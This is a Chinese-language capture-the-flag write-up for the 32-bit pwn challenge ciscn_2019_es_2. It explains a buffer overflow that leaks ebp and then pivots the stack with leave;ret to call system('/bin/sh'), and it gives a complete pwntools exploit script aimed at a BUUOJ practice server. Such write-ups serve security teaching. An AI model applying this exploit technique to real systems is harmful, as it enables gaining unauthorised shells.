ciscn_2019_es_2
检查保护机制,32位,开启NX

IDA打开,shift+F12查找字符串,发现sysytem函数,但没有/bin/sh,还是无法直接利用

找到system函数真实地址0x8048400

main函数,还是一样,里面的vlu()函数肯定是重点


读入0x30字节数据给s,s大小是0x28,只能溢出0x8字节,覆盖到ret,没法构造太长的rop,但是这边可以给s写入2次数据。
利用思路
我们可以通过第一次输入来泄露程序里的ebp地址,知道了ebp的地址就能够推算出参数s在栈上的地址,第二次直接往栈上写入system(‘/bin/sh’),之后利用leave;ret的栈劫持去到参数s的栈,让它去执行我们布置在栈上的system(‘/bin/sh’)来获取shell。
解题过程:
1.泄露ebp
printf函数在输出时遇到’\0’会停止,若将s填满,这样在末尾就无法加上’\0’,就可以泄露ebp了
payload='a'*0x27+'b'
r.sendline(payload)
r.recvuntil('b')
ebp=u32(r.recv(4))
2.找到s在栈上的位置
算出ebp-0x38是参数s在栈上的位置
3.布置栈上的值

payload='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
第一个’aaaa‘随便输入,如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
接着跟上system函数的地址
后面是执行完system函数后的返回地址,这边也可以随便写
之后是一个地址,这个地址指向的是我们写在栈上的’/bin/sh‘字符串
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s)+p32(leave_ret)
exp
from pwn import *
r=remote('node3.buuoj.cn',27757)
sys=0x8048400
leave_ret=0x08048562
main=0xdeadbeef
payload=b'a'*0x27+b'b'
r.send(payload)
r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38
payload2=b'aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s)+p32(leave_ret)
r.send(payload2)
r.interactive()
cat flag
